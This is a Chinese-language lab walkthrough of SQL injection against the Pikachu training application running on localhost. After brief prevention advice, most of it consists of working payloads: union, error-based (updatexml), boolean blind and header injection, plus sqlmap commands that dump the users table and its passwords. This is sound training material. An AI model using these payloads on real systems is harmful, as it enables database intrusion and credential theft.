1.概述
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
2.攻击
(1)数字型注入
用burpsuite抓包,修改,输入
id=1'
出错,显示存在注入。
修改为
id=1 or 1=1#
爆出所有用户
用order by 子句猜解查询字段数,为3时出错,说明查询字段数为2
1 order by 数字 #
用联合查询爆出当前数据库的名字,为pikachu
1 union select 1,database()#
用联合查询爆出当前数据库的包含所有表名(table_name)
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
查询表的列名,此处爆出users表
1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
继续爆出username和password两个字段的数据,数据为md5,需要解出
1 union select group_concat(username),group_concat(password) from users #
admin:123456
pikachu:000000
abc:abc123
(2)字符型注入
报错,存在注入,输入,爆出
1' or 1=1#
Mysql有三种注释
(1)#
(2)-- (最后有个空格)
(3)/**/
内联注释,这个可以在SQL语句中间使用,select * from /*sqli*/users;
(3)搜索型注入
万能语句
1%' or 1=1#
(4)XX型注入
输入
1' or 1=1#
发现出错,猜测闭合为
1') or 1=1#
(5)"insert/update"注入
insert/update/delete 这三种情况不能使用union去做联合查询,因为这不是查询而是操作
基于函数报错注入(updatexml)
常用的报错函数:updatexml()、extractvalue()、floor()
基于函数报错的信息获取(select/insert/update/delete)
在登陆页面没有注入,点击进入,在username处输入',报错,存在注入,
注册账号,登陆进去,输入
1' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or '
(6)“delete”注入
在留言板留言,并删除,用burp抓包,将
1 or updatexml(1, concat(0x7e,database()), 0)
进行url编码
(7)“http header”注入
用提示板的账号登陆进去,刷新页面并抓包,修改useragent
(8)基于布尔的盲注
基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True(页面)和False(页面)。
1)猜解数据库长度
构造语句
1' and length (database())=1#
重复,直至
1' and length (database())=7#
数据库长度为7,
2)猜解数据库名(任何系统函数可以知道的内容,例如MySQL、操作系统版本号)
1' and left(database(),1)='a'#
重复,直至
1' and left(database(),1)='p'#
再重复,
1' and left(database(),2)='pi'#
最后
1' and left(database(),7)='pikachu'#
3)获取数据库下的表
A.判断当前数据库表的个数
1' and ((select count(table_name) from information_schema.tabls where table_schema=database())=5)#
B.判断第一个表的长度
1' or ((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6)#
C.判断第一个表的第一个字母
1' or (mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='m'#
(8)基于布尔的盲注(Sqlmap)
由于手工的基于布尔盲注过于繁琐,现在使用sqlmap进行注入攻击
1)测试数据库类型
python sqlmap.py -u "http://127.0.0.1/pikachu-master/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2"
测试为MySQL
2)查询数据库名称
python sqlmap.py -u "http://127.0.0.1/pikachu-master/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -f --dbms mysql --dbs --batch
#--dbms 默认情况下会探测web应用后端的数据库是什么;该步骤--dbms mysql 制定了数据库类型为myslq数据库 #--dbs 当用户有权读取时,列出所有的数据库 #--batch 该参数使用后不需要用户输入,将会使用sqlmap给的默认提示走下去
结果:
3)查询数据库pikachu下面的表
python sqlmap.py -u "http://127.0.0.1/pikachu-master/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -f --dbms mysql -D pikachu --tables --batch
# -D pikachu 指定数据库pikachu #--tables 当有权限读取pikachu数据库中的表tables的时候,读取出表
结果:
4)查询表users中的列
python sqlmap.py -u "http://127.0.0.1/pikachu-master/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -f --dbms mysql -D pikachu -T users --columns --batch
#-T users 指定表名users #--columns 当有权限读取表users中的列的时候读取表users中的列
结果:
5)获取user和password字段中的内容
python sqlmap.py -u "http://127.0.0.1/pikachu-master/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -f --dbms mysql -D pikachu -T users -C username,password --dump --batch
#-C username,password 指定读取列username和password中的字段内容 #--dump 抛出前面指定内容
结果: